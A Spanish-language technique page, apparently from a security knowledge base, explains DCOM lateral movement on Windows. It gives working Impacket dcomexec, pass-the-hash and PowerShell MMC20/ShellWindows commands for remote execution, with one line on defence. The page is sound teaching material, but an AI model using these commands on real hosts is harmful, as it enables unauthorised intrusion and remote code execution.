Movimiento lateral

Ejecución lateral con DCOM

Cómo un atacante con derechos de administrador corre comandos en un host remoto llamando a un objeto DCOM de confianza, sin instalar un servicio.

Qué es

La ejecución lateral con DCOM abusa de Distributed COM para correr comandos en un host remoto. Llama a un método de una aplicación de Windows ya instalada y de confianza. No copia una herramienta ni instala un servicio: el comando lo lanza un proceso legítimo.

Cómo funciona

COM es el modelo de objetos de software de Windows. DCOM es ese modelo hecho remoto: el objeto se crea y corre en otra máquina por RPC. Unos pocos objetos registrados exponen métodos cuyo único fin es lanzar un programa. MMC20.Application expone ExecuteShellCommand. ShellWindows y ShellBrowserWindow exponen ShellExecute. El atacante instancia uno de esos objetos en el host remoto y llama al método con su comando. El comando corre en el destino, pero el proceso padre es la aplicación legítima: mmc.exe o explorer.exe, no un servicio nuevo. No hay nada que parchear: es abuso de una función que trabaja como fue diseñada. El objeto usa la identidad de quien autenticó, así que hace falta una cuenta administradora o del grupo Distributed COM Users en el destino, más acceso RPC al puerto 135 y al rango dinámico alto.

Diagrama

Comandos

Confirmar que el endpoint RPC y el rango dinámico responden, con nmap:

nmap -p135,49152-65535 -Pn -sCV <IP>

Abrir una shell semi-interactiva por DCOM con Impacket, usando MMC20:

dcomexec.py -object MMC20 <DOMAIN>/<USER>:<PASSWORD>@<HOST>

Con un hash robado y sin salida por SMB cuando el 445 está bloqueado:

dcomexec.py -object MMC20 -hashes :<HASH> -nooutput <DOMAIN>/<USER>@<HOST> whoami

Desde Windows, instanciar MMC20 y ejecutar por su método, con PowerShell:

$obj = [Activator]::CreateInstance([Type]::GetTypeFromProgID("MMC20.Application","<HOST>"))
$obj.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami",0)

ShellWindows no tiene ProgID: se resuelve por CLSID y se ejecuta con ShellExecute:

$com = [Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","<HOST>")
$obj = [Activator]::CreateInstance($com)
$obj.Item().Document.Application.ShellExecute("cmd.exe","/c whoami","c:\windows\system32",$null,0)

Cómo defenderse

Recorta la pertenencia a Administradores locales y a Distributed COM Users: sin esos derechos en el destino, la técnica no corre.

Siguiente

Puedes seguir leyendo aquí:

PersistenciaInyección de SID History

No te pierdas ninguna noticia

Recibe un correo cuando haya alguna actualización importante.

Al suscribirte aceptas la política de privacidad.